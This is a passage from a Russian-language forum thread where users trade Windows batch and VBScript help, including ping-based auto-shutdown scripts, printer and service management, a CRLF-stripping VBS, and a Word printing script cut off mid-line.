Set $MIN=3
Set $MLT=60

Set /A $MIN=%$MIN%*%$MLT%


gora 15-12-2008 15:30 981567

Цитата:

Цитата sLiDeR-X
для чего делается вот это?
Код:
Set $MIN=3
Set $MLT=60
Set /A $MIN=%$MIN%*%$MLT% »

Переменная $MIN - это число минут, а переменная $MLT равная 60 - это перевод в секунды, т.к. в команда Ping -n Х 127.0.0.1 выполняется приблизительно Х секунд при Х=>2.
Просто так понятнее задавать значение задержки в минутах в начале скрипта.

flighttothemoon 16-12-2008 16:16 982039

Код:
Set $IP=192.168.0.10
Set NET=255.255.255.0
Set MAC=1234567890ab

:LOOP
Ping -n 5 127.0.0.1 >Nul
Ping -n 1 %$IP%
If ErrorLevel 1 GoTo LOOP

PowerOff wol -ip %$IP% -subnet %NET% -mac %MAC%


Спасибо большое. Все работает. И еще - нельзя никак работу этого скрипта убрать, то есть чтобы работа не была видна? Скрыть появляющиеся тексты

censored 16-12-2008 17:36 982113

Можно, возле каждой строки написать >NUL

amel27 17-12-2008 06:55 982597

Цитата:

Цитата gora
так понятнее задавать значение задержки в минутах в начале скрипта. »

на самом деле для калибровки - один "пинг" только примерно равен секунде, поиграв с параметром $MLT можно добиться максимального приближения $MIN к реальным минутам :)

Цитата:

Цитата flighttothemoon
Все работает»

в скрипте есть противоречие - для проверки сети пингуется хост, который выключен, чтобы потом его включить :) ...поэтому в качестве IP нужно ставить "живой" хост (роутер, модем) из подсети ноутбука, команде PowerOff адрес хоста нужен только для расчета адреса подсети, сам IP для генерации "магического пакета" не используется

Гарин 17-12-2008 15:00 983025

Ребята подскажите что не так делаю?

Требуется сделать скрипт, который мог бы при запуске подключать сетевой принтер.
Вот нашел описание и под себя переделал-
Код:

cscript prncnfg.vbs -g -s имя компа -p имя принтера -u администратор -w pass
Но при запуске пишет "Не удается получить объект SWbeemLocator Ошибка 0x800700005 Отказано в доступе"
Хотя точно пишу правильный админский пароль.

Petya V4sechkin 17-12-2008 15:07 983033

Цитата:

Цитата Гарин
который мог бы при запуске подключать сетевой принтер

[решено] Не могу добавить сетевой принтер

sLiDeR-X 20-12-2008 11:43 985539

Ребята, сделал батник вот такого содержания:
Код:

@echo off
rem Пожалуйста, подождите!
TITLE Џ®¦*«г©бв*, Ї®¤®¦¤ЁвҐ!
echo.
echo.
rem Производится установка
echo.    ЙНННННННННННННННННННННННННННННННННННННННННННННННННННННННННННН»
echo.    є  Џа®Ё§ў®¤Ёвбп *ўв®¬*вЁзҐбЄ®Ґ §*ўҐаиҐ*ЁҐ а*Ў®вл Є®¬ЇмовҐа*  є
echo.    ИННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННј
echo.
echo.

rem количество минут
Set $MIN=1
Set $MLT=6
Set /A $MIN=%$MIN%*%$MLT%
rem ip компьютера
Set $IP=192.168.0.2
:LOOP
echo.                                  Џа®Ё§ў®¤Ё¬ §*Їа®б а*Ў®вл 2 Є®¬ЇмовҐа*
echo.
Ping -n %$MIN% 127.0.0.1 >Nul
Ping -n 1 %$IP%
If ErrorLevel 1 Shutdown -s -t 20 -f -c "Џа®Ёб室Ёв §*ўҐаиҐ*ЁҐ а*Ў®вл Є®¬ЇмовҐа*..."
rem If ErrorLevel 1 "C:\Program Files\Download Master\dmaster.exe"
GoTo LOOP

exit

если ставить вместо выключение запуск программы - он работает. как только ставлю шатдаун - просто ходит по кругу, причем не с метки LOOP а с самого начала батника.
Что не так?

gf100 21-12-2008 11:52 986091

Цитата:

Цитата sLiDeR-X
Ping -n %$MIN% 127.0.0.1 >Nul »

Для начала, результат выполнения этой команды не анализируется...
Цитата:

Цитата sLiDeR-X
Ping -n 1 %$IP%
If ErrorLevel 1 »

Видимо, здесь всегда возвращается не 1. Возможно, происходит "вылет" из батника при выполнении команды под If'ом.
Цитата:

Цитата sLiDeR-X
просто ходит по кругу, причем не с метки LOOP а с самого начала батника »

Т.е. происходит циклический запуск самого батника.

Creat0R 21-12-2008 12:06 986102

Цитата:

Цитата sLiDeR-X
Что не так? »

Для начала можно ещё вместо shutdown подставить echo и проверить, вызывается ли условие. И ещё, если мне память не изменяет, то ErrorLeve это ещё(?) и переменная, её используют так:

Код:

If %ErrorLevel% EQL 1 Shutdown ...

sLiDeR-X 21-12-2008 13:26 986167

Да я уже разобрался...
Все дело было в том, что имя самого батника было Shutdown.bat
Я имя изменил и все заработало... :)
+ потом маленько доработал...
вот что поллучилось: ShutdownComp.bat
читать дальше »
Код:

@echo off
rem Пожалуйста, подождите!
TITLE Џ®¦*«г©бв*, Ї®¤®¦¤ЁвҐ!
echo.
echo.
rem Производится установка
echo.    ЙНННННННННННННННННННННННННННННННННННННННННННННННННННННННННННН»
echo.    є  Џа®Ё§ў®¤Ёвбп *ўв®¬*вЁзҐбЄ®Ґ §*ўҐаиҐ*ЁҐ а*Ў®вл Є®¬ЇмовҐа*  є
echo.    ИННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННј
echo.
echo.

rem количество минут
Set $MIN=1
Set $MLT=60
Set /A $MIN=%$MIN%*%$MLT%
rem ip компьютера
Set $IP=192.168.0.2
:LOOP
echo.
echo.
echo.                                  Џа®Ё§ў®¤Ё¬ §*Їа®б а*Ў®вл 2 Є®¬ЇмовҐа*:
echo.
Ping -n %$MIN% 127.0.0.1 >Nul
Ping -n 1 %$IP% >Nul
If ErrorLevel 1 GoTo SDN
echo.                                                      Љ®¬ЇмовҐа а*Ў®в*Ґв
echo.                                                      ДДДДДДДДДДДДДДДДДД
GoTo LOOP
:SDN
echo.                                                      Љ®¬ЇмовҐа ўлЄ«озҐ*
echo.                                                      ДДДДДДДДДДДДДДДДДД
echo.
echo.
echo.                              Џа®Ёб室Ёв §*ўҐаиҐ*ЁҐ а*Ў®вл Є®¬ЇмовҐа*...
Shutdown -s -t 5 -f
rem If ErrorLevel 1 "C:\Program Files\Download Master\dmaster.exe"

echo. 
echo.    °°°°°°°°°°°°°°°°°
echo.    ЙНННННННННННННН»°
echo.    МНД  $L!DER  ДН№°°°°°°°°°°°°°°°°°°°°°
echo.    ИННННННЛНННННННКННННННННННННННННННН»°
echo.          МНД  AlL RiGhTs ReSeRvEd  ДН№°°°°°°°°°
echo.          ИНННННННННННННННЛНННННННННННКННННННН»°
echo.                          є                  є°
echo.                          УДДДДДД %date% ДЅ
echo.
echo.

exit


D_Master 21-12-2008 20:37 986518

Добрый вечер.

Подскажите пожалуйста, как можно убрать пустую строку в файле при перенаправлении команды в файл

например,
результатом команды
Код:

echo C:\WINDOWS\system32\notepad.exe >exe.txt
будет:
Цитата:

C:\WINDOWS\system32\notepad.exe


С переносом строки.

Просто берется содержимое файла (а там путь к папке) и записывается в переменную. А с переносом строки не получается папку открыть.

Creat0R 21-12-2008 23:28 986668

sLiDeR-X
Цитата:

Все дело было в том, что имя самого батника было Shutdown.bat
Да, это довольно частая ошибка писателей батников :) Хотя при обработке было бы лучше чтобы приоритет стоял именно на комманде, ну или на вызове с системной папки как в этом случае.

D_Master
Цитата:

Цитата D_Master
как можно убрать пустую строку в файле при перенаправлении команды в файл »

Я (очень) давно сам подобное спрашивал где то, но мне вроде сказали что средствами одного лишь обработчика ком. строки не обойтись.

Цитата:

Цитата D_Master
Просто берется содержимое файла (а там путь к папке) и записывается в переменную. А с переносом строки не получается папку открыть. »

Следующий тест показывает, что никакого переноса строки в переменную не попадает:

Код:

@Echo Off
Echo C:\WINDOWS> exe.txt

For /F %%i In (exe.txt) Do Set Var=%%i

CD %Var%
Echo %Var% (%%Var%%) = %CD% (%%CD%%) ?

Set /P iStart=Start "%Var%" (Y/N)?

If "%iStart%"=="y" Start %Var%
If "%iStart%"=="Y" Start %Var%

Возможно проблема была из за пробела перед символом перенаправления (>)? Хотя у меня и с этим работает.

D_Master 22-12-2008 08:32 986837

Цитата:

Цитата Creat0R
Следующий тест показывает, что никакого переноса строки в переменную не попадает: »

Извиняюсь, немного неточно выразился. Объясню, для чего мне это нужно:
1. Есть самописный скрипт, предназначенный для пре- и пост-обработки дистрибутива (с использованием набора обновлений).
2. В этом скрипте копируется дистрибутив, добавляются кое-какие файлы, кое-какие удаляются. Потом берется адрес папки (где сидит готовый к апдейт-паку дистрибутив) и пишется в файл distr.ini (апдейт-пака). А скрипт апдейт-пака не хочет использовать адрес + перенос строки в файле distr.ini и пишет, что папка не существует (из-за переноса).

За пример спасибо, но он, к сожалению, в моём случае не подходит...

Теперь, думаю, достаточно понятно объяснил :)

vserd 22-12-2008 11:01 986948

D_Master,
Цитата:

Цитата D_Master
Есть самописный скрипт, предназначенный для пре- и пост-обработки дистрибутива (с использованием набора обновлений). »

В моем аналогичном команднике:
@echo !TargetDistrib!>%UPdatepackPath%\%UpdatePackIniFile%
И еще вопрос, длинных имен не используешь?

D_Master 22-12-2008 11:56 986981

Цитата:

Цитата vserd
В моем аналогичном команднике:
@echo !TargetDistrib!>%UPdatepackPath%\%UpdatePackIniFile% »

Строка-то появляется всё равно...
Цитата:

Цитата vserd
И еще вопрос, длинных имен не используешь? »

Нет, максимум - 7 символов в имени папки.

Creat0R 22-12-2008 15:16 987147

Цитата:

Цитата D_Master
Объясню, для чего мне это нужно »

Ясно. Ну тогда всё что могу посоветовать, так это использовать не батник для этого, а, к примеру скриптовый язык AutoIt, ну или VBS-ку:

CRLF_Stripper.vbs

Код:

'===========================================================================================================
' [CRLF Stripper]
' Скрипт позволяющий удалять символы перевода строки и возврата каретки (vbCRLF) на конце или в начале файла.
'
' Синтаксис:                "FileName" [/Flag /rTimes]
'
' * FileName                - Полный путь до файла назначение.
' * /Flag                        - Указывает метод удаления vbCRLF.
'                                                0 убирает в начале файла, 1 на конце, и -1 в начале и на конце.
' * /rTimes                        - Указывает число удаления vbCRLF (сколько символов vbCRLF удалять. По умолчанию все).
'
' Пример запуска:        Wscript.exe CRLF_Stripper.vbs "C:\File.txt" 1 -1
' * Удалит все заверщающие символы перевода строки в файле C:\File.txt.
'
' Автор:                        G.Sandler
'===========================================================================================================


Const ForReading = 1, ForWriting = 2, ForAppending = 8

QuiteMode                = 1

sFilePath                = GetParentDir() & "\TextFile.txt"
iRemoveMethod        = 1        'Удалять vbCRLF только на конце файла
iRemoveTimes        = -1        'Удалять vbCRLF столько раз сколько встретится на конце/в начале файла

'Определяем параметры ком. строки
If WScript.Arguments.Count > 0 Then sFilePath                = WScript.Arguments(0)
If WScript.Arguments.Count > 1 Then iRemoveMethod        = Int(WScript.Arguments(1))
If WScript.Arguments.Count > 2 Then iRemoveTimes        = Int(WScript.Arguments(2))

sFileName                = Mid(sFilePath, InStrRev(sFilePath, "\", -1, 1)+1)

'=========================================================
On Error Resume Next

Set oFSO = CreateObject("Scripting.FileSystemObject")

'Проверяем существование файла
If Not oFSO.FileExists(sFilePath) Then
        sInitDir = ""
       
        If WScript.Arguments.Count > 0 Then
                If QuiteMode = 1 Then Wscript.Quit
               
                MsgBox _
                        "Файл [" & sFileName & "] не существует. Укажите файл...", _
                        48, "CRLF Stripper - Ошибка"
               
                sInitDir = Left(sFilePath, InStrRev(sFilePath, "\", -1, 1)-1)
                If sInitDir = "" Then sInitDir = GetParentDir()
        End If
       
        sFilePath = FileOpenDialog("CRLF Stripper - Укажите файл для обработки", sInitDir, _
                "Text Files (*.txt)|*.txt|All Files (*.*)|*.*", sFileName)
       
        If sFilePath = -1 Then Wscript.Quit
       
        If Not oFSO.FileExists(sFilePath) Then
                MsgBox _
                        "Указанный вами файл [" & sFileName & "] не существует." & vbCRLF & vbCRLF & "OK ===> EXIT", _
                        48, "CRLF Stripper - Ошибка"
               
                Wscript.Quit
        End If
       
        sFileName = Mid(sFilePath, InStrRev(sFilePath, "\", -1, 1)+1)
End If

'Открываем файл для *Чтения*
Set oTxtFile = oFSO.OpenTextFile(sFilePath, ForReading)

'Читаем файл
sReadFile = oTxtFile.ReadAll

'Закрываем файл
oTxtFile.Close

'Открываем файл для *Записи*
Set oTxtFile = oFSO.OpenTextFile(sFilePath, ForWriting, True)

'Пишем в файл данные (считанные ранее) без символов перевода строки и возврата каретки (в соответствии с параметрами)
iCounter = 0

Select Case iRemoveMethod
        Case 0, -1
                Do While Left(sReadFile, 2) = vbCRLF
                        sReadFile = Right(sReadFile, Len(sReadFile)-2)
                       
                        iCounter = iCounter + 1
                        If iRemoveTimes <> -1 And iCounter = iRemoveTimes Then Exit Do
                Loop
End Select

iCounter = 0

Select Case iRemoveMethod
        Case 1, -1
                Do While Right(sReadFile, 2) = vbCRLF
                        sReadFile = Left(sReadFile, Len(sReadFile)-2)
                       
                        iCounter = iCounter + 1
                        If iRemoveTimes <> -1 And iCounter = iRemoveTimes Then Exit Do
                Loop
End Select

oTxtFile.Write sReadFile

'Закрываем файл
oTxtFile.Close

'Если скрипт был вызван без параметров, выводим сообщение о завершении...
If WScript.Arguments.Count = 0 Or QuiteMode = 0 Then
        MsgBox _
                "Обработка файла [" & sFileName & "] удачно завершена!", _
                64, _
                "CRLF Stripper - Сообщение..."
End If

'Функция для получения полного пути родительского каталога
Function GetParentDir()
        sPath = WScript.ScriptFullName
        GetParentDir = Left(sPath, InStrRev(sPath, "\", -1, 1)-1)
End Function

'Функция для отображения системного диалога выбора файла
Function FileOpenDialog(sTitle, sInitDir, sFilter, sDefaultName)
        Set obj = CreateObject("MSComDlg.CommonDialog")
        obj.Filter = sFilter
        obj.MaxFileSize = 256
        obj.DialogTitle = sTitle
        obj.FileName = sDefaultName
        obj.InitDir= sInitDir
       
        On Error Resume Next
        obj.CancelError = True
        Err.Clear
       
        obj.ShowOpen
       
        If Err.Number = 32755 Then
                'Cancel Pressed
                FileOpenDialog = -1
        ElseIf Err.Number <> 0 Then
                'Other errors
                FileOpenDialog = Err.Number
        Else
                FileOpenDialog = obj.FileName
        End If
End Function



В нашем случае использовать можно так:

Код:

@Echo Off
Echo C:\WINDOWS> Exe.txt&&Wscript "CRLF_Stripper.vbs" "Exe.txt" 1 -1


vserd 22-12-2008 15:27 987155

Цитата:

Цитата D_Master
Строка-то появляется всё равно... »

Чем смотришь?
Если в литсере от тотал коммандера в HEX режиме есть завершающие 0D 0A в единственном экземпляре, то все нормально. Если в большем кол-ве то перетряхивай свой скрипт. Где-то дописываешь лишнее.
Посмотри мой батник:
http://forum.oszone.net/attachment.p...1&d=1185396580
я его в теме по мультибуту выкладывал.

D_Master 22-12-2008 17:42 987284

Цитата:

Цитата vserd
Чем смотришь? »

да всем чем можно - простым блокнотом, АкельПад'ом...
Цитата:

Цитата Creat0R
или VBS-ку: »

Creat0R, супер!! Спасибо за скрипт!! :)

vserd 22-12-2008 18:57 987357

D_Master, выложи свой Dist.ini файлом, не содержимым. Чудес не бывает....

D_Master 22-12-2008 19:25 987387

Вложений: 1
Прикрепил. Это после обработки скриптом Creat0R'a

Artur88 22-12-2008 21:13 987482

Вопрос достаточно простой
но так как я тока начинаю разбираться в батниках - для меня это достаточно сложновато

суть вопроса - как написать батник так чтоб он при входе/при выходе очищал рабочий стол пользователя (все удалял с него)?
Операционая система - XP
но есть возможность еще запуска скриптов с домена под управлением win2k3.

как вариант использовал forfile с параметрами запуска - но там он чистит только файлы, а папки оставляет.

может можно написать полноценный батник?

vserd 22-12-2008 23:51 987640

Цитата:

Цитата D_Master
Это после обработки скриптом Creat0R'a »

если ты проблему решил, так и скажи. Зачем время людей тратишь?
Меня интересовал твой файл из 533 поста.
p.s. у меня твой файл сработал.

Artur88,
Цитата:

Цитата Artur88
суть вопроса - как написать батник так чтоб он при входе/при выходе очищал рабочий стол пользователя (все удалял с него)? »

это не правильно с идеологической точки зрения....
в винде есть возможность запускать logon скрипты, оттуда и пляши...

Artur88 23-12-2008 00:12 987656

так чем хуже bat файлы то ?
в них же можно реализовать то к чему я иду ?

Tigr 23-12-2008 00:25 987672

Цитата:

Цитата Artur88
как написать батник так чтоб он при входе/при выходе очищал рабочий стол пользователя (все удалял с него)? »

Зачем при выходе, если и так при входе очистит ?
Цитата:

Цитата vserd
в винде есть возможность запускать logon скрипты, оттуда и пляши... »

Что мешает пойти простым путем:
cd "C:\Documents and Settings\Имя_пользователя\Рабочий стол"
del *.*

?

D_Master 23-12-2008 05:40 987765

Цитата:

Цитата vserd
если ты проблему решил, так и скажи. Зачем время людей тратишь? »

Я подумал, что по этой фразе
Цитата:

Цитата D_Master
Creat0R, супер!! Спасибо за скрипт!! »

можно было догадаться, что решилась проблема. Видимо, ошибся ;)

vserd 23-12-2008 10:26 987875

Цитата:

Цитата Tigr
Что мешает пойти простым путем: »

кто будет запускать этот батник?
D_Master,
Специально добавлял в конец твоего файла пару пустых строк, работатет однако....
Не понимаю зачем использовать сторонний vbs если все решается штатно-стандартными средствами.
P.S. Твоя проблема скорей всего была из-за пробела в конце.
т.е. @echo С:\Distrib>C:\Up\Dist.ini будет работать, а @echo С:\Distrib >C:\Up\Dist.ini уже нет.

Tigr 23-12-2008 11:14 987908

Цитата:

Цитата vserd
кто будет запускать этот батник? »

Автозагрузка.

D_Master 23-12-2008 15:14 988106

Цитата:

Цитата vserd
т.е. @echo С:\Distrib>C:\Up\Dist.ini будет работать, а @echo С:\Distrib >C:\Up\Dist.ini уже нет. »

во-во, я, кажется, с пробелом-то и использовал...
Спасибо!

AlexLev 30-12-2008 11:48 993648

ВОПРОС:
Прошу подсказать, как можно в bat-файле создать переменную, в которую бы входили строки с переносом, к примеру – список файлов, каждый с новой строки.
Спасибо. Поздравляю Вас с наступающим Новым, 2009-м годом!

vserd 30-12-2008 15:14 993769

AlexLev, переменную врядли, а вот использовать временный файл и извлекать из него строки это запросто.

Queen Black 30-12-2008 16:39 993815

Вопрос.
Есть папка. В папке некоторое кол-во файлов *.xls (не равное одному)
Надо получить пакетный файл, котрый будет каждый этот xls-файл (один) загонять в одноименный файлу rar-архив.

Например:
было: file1.xls; file2.xls; file3.xls после применения командного файла - file1.rar; file2.rar; file3.rar

Добавление.
Есть группа папок с подобным содержимым.
При запуске этого пакетного файла все *.xls во всех папках должны архивироваться поочередно в одноименные *.rar
Пакетный файл будет размещен в корне этих папок и запускаться планировщиком

Заранее спасибо.

Petya V4sechkin 30-12-2008 16:55 993832

Queen Black, как-то так:
Код:

For %%I In (*.xls) Do "%ProgramFiles%\WinRAR\Rar.exe" a "%%~nI.rar" "%%~I"

AlexLev 30-12-2008 16:59 993834

Отменил вопрос.

Queen Black 30-12-2008 17:11 993846

идея была понятна, но результата она не принесла.

The following usage of the path operator in batch-parameter
substitution is invalid: %~nI.rar %~I
xls2rar.bat was unexpected at this time.

Queen Black 31-12-2008 11:46 994408

Спасибо за мысль, сделал так:

xls2rar.bat
Код:

dir *.xls /B > dirxls.txt
FOR /F "tokens=1" %%i in (dirxls.txt) do rar a -df -m5 %%~ni.rar %%~i
del dirxls.txt /f


addy2k 01-01-2009 13:40 994984

Нужна помощь !!!
Имеется путь:
C:\Documents and Settings\Admin\Application Data\Thinstall\NOD32 Antivirus System\%drive_C%\nod32\

Внимание вопрос !!!

Как из папки nod32 скопировать все файлы в другую папку ( скажем в С:\ TEMP\)

P.S.
Вся сложность у меня возникла из за этого ---- %drive_C%

Creat0R 01-01-2009 14:24 994997

Цитата:

Цитата addy2k
Вся сложность у меня возникла из за этого ---- %drive_C% »

Так а в чём сложность? %drive_C% это переменная окружения, или она создаётся в батнике? или там просто нужно подставить букву системного диска?

Код:

copy "C:\Documents and Settings\Admin\Application Data\Thinstall\NOD32 Antivirus System\%drive_C%\nod32\*.*" "С:\TEMP\*.*"

addy2k 01-01-2009 16:23 995045

Цитата:

Цитата Creat0R
Так а в чём сложность? %drive_C% это переменная окружения, или она создаётся в батнике? »

Сложность была в том, что это, банально -- имя папки.

Вопрос снят !!!
Сам спросил - сам ответил !!!

Решение :
IF EXIST "%USERPROFILE%\Application Data\Thinstall" COPY /Y "%USERPROFILE%\Application Data\Thinstall\NOD32 Antivirus System\%%drive_C%%\nod32\*.*" "C:\TEMP"

Creat0R 01-01-2009 16:54 995061

Цитата:

Цитата addy2k
Сложность была в том, что это, банально -- имя папки. »

Обычно подобные детали желательно упоминать при поставке вопроса ;)

addy2k 01-01-2009 20:25 995165

Цитата:

Цитата Creat0R
Обычно подобные детали желательно упоминать при поставке вопроса »

Согласен !!! ( думал что Вы поняли суть вопроса, но я упустил пояснение )

Для завершения моего скрипта, необходима еще одна помощь:

Внимание вопрос:

В папке C:\NOD имеется файл 111.txt размером 100 кб
Как осуществить проверку --- > если файл меньше 50 кб - удалить его !!!
А если больше - скопировать в папку D:\Temp

Creat0R 01-01-2009 23:40 995289

Цитата:

Цитата addy2k
Как осуществить проверку --- > если файл меньше 50 кб - удалить его !!! »

Так:

Код:

@Echo Off

Set iDelMaxSize=50
Set sFile=C:\NOD\111.txt
Set sDestPath=C:\Temp

For %%I In ("%sFile%") Do If Exist "%%I" If %%~zI LSS %iDelMaxSize% (Del "%%I") Else (Move "%%I" "%sDestPath%")

?
:)

addy2k 02-01-2009 22:17 995865

Creat0R,
Благодарю Вас за помощь !!!

Это то , что нужно !!!!
Работает отлично !!( причем на основе данного скрипта, я прикрутил еще сверку размеров двух файлов )

Еще раз ---- > Спасибо !!! :yahoo:

apostol goroda grexa 06-01-2009 12:40 998649

Люди добрые помогите написать bat~ник чтоб перезапускал службы: диспечер очереди печати и службу сервер. ОС XP

Petya V4sechkin 06-01-2009 13:33 998693

apostol goroda grexa, перезапуск диспетчера очереди печати:
Код:

net stop spooler
net start spooler

сервер:
Код:

net stop lanmanserver
net start lanmanserver

А зачем, можно узнать?

apostol goroda grexa 06-01-2009 15:40 998786

в сети есть ПК с xp используеться как принт сервер (принтер canon 3300) работает печатает бац перестал пока не перезапустишь службы не хочет печать ((( хочу в cron (я просто дебианщик с виндой мало знаком)забить bat`ник пусть службы перезапускает каждые пол часа )))))

Котяра 07-01-2009 16:49 999710

Не знаю, в тему ли пишу, но вот это код функции деинсталляции программы TweakUI, встроенный в ее исполняемый файл. Извлек программой "Ресторатор":
Код:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"
    "http://www.w3.org/TR/html4/loose.dtd">
<HTML RTL=1>
<HEAD>
<TITLE>Uninstalling Tweak UI</TITLE>
<HTA:APPLICATION
    APPLICATIONNAME="uninstallTweakUI"
    _BORDER="dialog"
    CONTEXTMENU="no"
    INNERBORDER="no"
    MAXIMIZEBUTTON="no"
    MINIMIZEBUTTON="no"
    SCROLL="no"
    SELECTION="no"
    SINGLEINSTANCE="yes"
 />
<STYLE>
HTML {
    background-color: threedface; color: buttontext;
    font-family: Tahoma; font-size: 10pt;
}
LI { list-style-type: none }
}
</STYLE>
</HEAD>
<SCRIPT LANGUAGE="JScript" DEFER>
var FSO;
var WshShell;
var c_msDelay = 50; // intentionally slow down so people can watch
var g_cTasks;
var g_iCur;
var c_keyPath =

"HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Tweak

UI 2.10\\";

function beginUninstall()
{
    oIntro.style.display = "none";
    oProgress.style.display = "block";
    FSO = new ActiveXObject("Scripting.FileSystemObject");
    WshShell = new ActiveXObject("WScript.Shell");
    g_cTasks = document.all.tags("LI");
    g_iCur = 0;
    window.setTimeout(startAction, c_msDelay);
}

function startAction()
{
    g_cTasks[g_iCur].style.listStyleType = "disc";
    window.setTimeout(performAction, c_msDelay);
}

function performAction()
{
    if (eval(g_cTasks[g_iCur]._action)) {
        g_iCur++;
        if (g_iCur < g_cTasks.length) {
            window.setTimeout(startAction, c_msDelay);
        }
    }
}

function deleteShortcut()
{
    var pathShortcut;
    try {
        pathShortcut = WshShell.RegRead(c_keyPath + "ShortcutPath");
    } catch (e) {
        return true; // key doesn't exist - nothing to delete
    }

    // Delete shortcut if present - keep going on failure
    try { FSO.DeleteFile(pathShortcut); } catch (e) { }

    // Delete folder if empty - keep going on failure
    var pathFolder = FSO.GetParentFolderName(pathShortcut);
    if (FSO.GetFolder(pathFolder).Files.Count == 0) {
        try { FSO.DeleteFolder(pathFolder); } catch (e) { }
    }

    return true;
}

function deleteUninstall()
{
    //  Ignore failure
    try { WshShell.RegDelete(c_keyPath); } catch (e) { }
    return true;
}

var g_nTries = 0;

function deleteFiles()
{
    var ss = (window.location + "").split("/");
    if (ss.length == 4 && ss[0] == "res:") {
    } else {
        alert("Unable to location installed copy of Tweak UI.");
        window.close();
        return false;
    }

    var pathSelf = ss[2];

    try {
        FSO.DeleteFile(FSO.GetParentFolderName(pathSelf) +
                      "\\PowerToysLicense.rtf");
    } catch (e) { }

    var fSuccess = false;
    try { FSO.DeleteFile(pathSelf); fSuccess = true; }
    catch (e) {
        if (e.number == -2146828218 && ++g_nTries < 5) {
            window.setTimeout(startAction, 250);
            return false;  // wait and try again
        }
    };

    if (g_nTries >= 5) {
        alert("Unable to delete Tweak UI.  Make sure no copies of Tweak

UI are running.");
        window.close();
        return false;
    }

    if (!fSuccess) {
        alert("Unable to delete Tweak UI.  " + e.message);
        window.close();
        return false;
    }

    return true;
}

function reportFinished()
{
    g_cTasks[g_iCur].style.display = "list-item";
    oClose.focus();
    return true;
}
</SCRIPT>

<BODY onload=oCancel.focus()>
<DIV ID=oContent STYLE="position: absolute; height: 11em; width:

20em"></DIV>
<SCRIPT LANGUAGE="JScript">
    window.resizeTo(oContent.offsetWidth,oContent.offsetHeight);
</SCRIPT>
<TABLE ID=oIntro>
<TR><TD>Click the "Uninstall" button to uninstall Tweak UI.</TD></TR>
<TR><TD ALIGN=right><BUTTON onclick=beginUninstall()>Uninstall</BUTTON>
&nbsp;<BUTTON ID=oCancel onclick=window.close()>Cancel</BUTTON>
</TR></TD>
</TABLE>
<UL ID=oProgress STYLE="display:none; margin-bottom: 0pt">
<LI _action=deleteShortcut()>Deleting Start menu icon
<LI _action=deleteUninstall()>Deleting uninstall information
<LI _action=deleteFiles()>Deleting files
<LI _action=reportFinished() style="display:none">Done
<DIV ALIGN=right><BUTTON ID=oClose

onclick=window.close()>Close</BUTTON></DIV>
</UL>
</BODY>
</HTML>

Если кому нужно - изучайте. Это *.hta

Seryoga204 07-01-2009 18:34 999773

Подскажите пожалуйста - есть скрипт:

'==========================================================================
'Печать документа с помощью MS Word
'Параметры:
'{Файл} [{Принтер}|"" [{Кодовая страница}|"" [{Количество копий}]]]
'Пример параметров:
'C:\Temp\Test.txt \\Host\HostPrinter 1251
'Для использования значений по умолчанию принтера или кодовой страницы
' можно указать двойные кавычки ("")
'Пример параметров:
'C:\Temp\Text_default.txt
'C:\Temp\Text_dos.txt "" 866
'C:\Temp\Text_3_copies.txt "" "" 3
'==========================================================================
Option Explicit
'================= Изменяемые параметры ===================================
Const TimeLimit = 30 'Время ожидания окончания печати в сек.
Const Margin = 1.5 'Поля в см
Const Admin = "admin" 'Имя компьютера сис. админ-а
Const ShowMess = False 'Показывать ли текст ошибки на текущем компе
'==========================================================================
Dim objW, Mess, MarginPt, File, Ext, StartTime, CodeStr, Copies
'Дюймы, выраженные в см., для вычисления полей
Const Inch = 2.538
'Задаем массив сообщений
DefineMess
'Включаем режим ручной обработки ошибок
On Error Resume Next
'Создаем объект Word
Set objW = WScript.CreateObject("Word.Application")
CheckErr(0)
'Первый параметр - открываемый файл
File = WScript.Arguments(0)
CheckErr(1)
'Открываем файл в кодировке, заданной третим параметром
If WScript.Arguments.Count > 2 Then
CodeStr = WScript.Arguments(2)
If Len(CodeStr) <> 0 Then
objW.Documents.Open File,,1,,,,,,,,CodeStr
Else
objW.Documents.Open File,,1
End If
Else
objW.Documents.Open File,,1
End If
CheckErr(1)
'Вычисляем поля (задаются в пунктах - 1/72 дюйма)
MarginPt = Margin/Inch * 72
'Задаем поля для всех файлов, кроме *.doc и *.rtf
Ext = LCase(CreateObject("Scripting.FileSystemObject").GetExtensionName(File))
If Not ((Ext = "doc") Or (Ext = "rtf")) Then
With objW.ActiveDocument.PageSetup
.LeftMargin = MarginPt
.RightMargin = MarginPt
.TopMargin = MarginPt
.BottomMargin = MarginPt
End With
CheckErr(2)
End If
'Если задан второй параметр, то это принтер
If WScript.Arguments.Count > 1 Then
'Устанавливаем принтер, если параметр не пустой
If Len(WScript.Arguments(1)) > 0 Then
'Устанавливаем текущий принтер - второй параметр
objW.ActivePrinter = WScript.Arguments(1)
'Небольшая пауза
WScript.Sleep 100
CheckErr(3)
End If
End If
'Количество копий
If WScript.Arguments.Count > 3 Then
Copies = WScript.Arguments(3)
Else
Copies = 1
End If
'Печатаем в фоне
objW.PrintOut 1,,,,,,,Copies
CheckErr(4)
'Включаем таймер ожидания окончания печати
StartTime = Timer
'Ждем, пока закончится печать
Do Until objW.BackgroundPrintingStatus = 0
'Если ожидаем уже больше заданного лимита
If (Timer - StartTime) > TimeLimit Then
'Генерим ошибку
Err.Raise vbObjectError + 1, Mess("Title"), Mess("Err1")
CheckErr(5)
End If
'Пауза 0.1 сек.
WScript.Sleep 100
Loop
'Закрываем Word
objW.Quit 0
CheckErr(6)
'Отключаем режим ручной обработки ошибок
On Error Goto 0

'Выход
Quit

'Процедура задания массива сообщений
Sub DefineMess
Set Mess = CreateObject("Scripting.Dictionary")
With Mess
.Add "Title", "Печать документа"
.Add "Err1" , "Время ожидания окончания печати превысило заданный лимит. Печать прервана!"
.Add 0 , "При создании объекта Word возникла ошибка:"
.Add 1 , "Ошибка открытия файла:"
.Add 2 , "Ошибка задания полей:"
.Add 3 , "При установке активного принтера возникла ошибка:"
.Add 4 , "При выполнении печати документа возникла ошибка:"
.Add 5 , "Ошибка выполнения печати."
.Add 6 , "Ошибка закрытия документа. Закройте документ вручную."
End With
End Sub

'Процедура проверки ошибок
Sub CheckErr(Step)
'Если произошла ошибка
If Err.Number <> 0 Then
'Посылаем сообщение на компьютер Admin
CreateObject("WScript.Shell").Run "net send " & Admin & " " &_
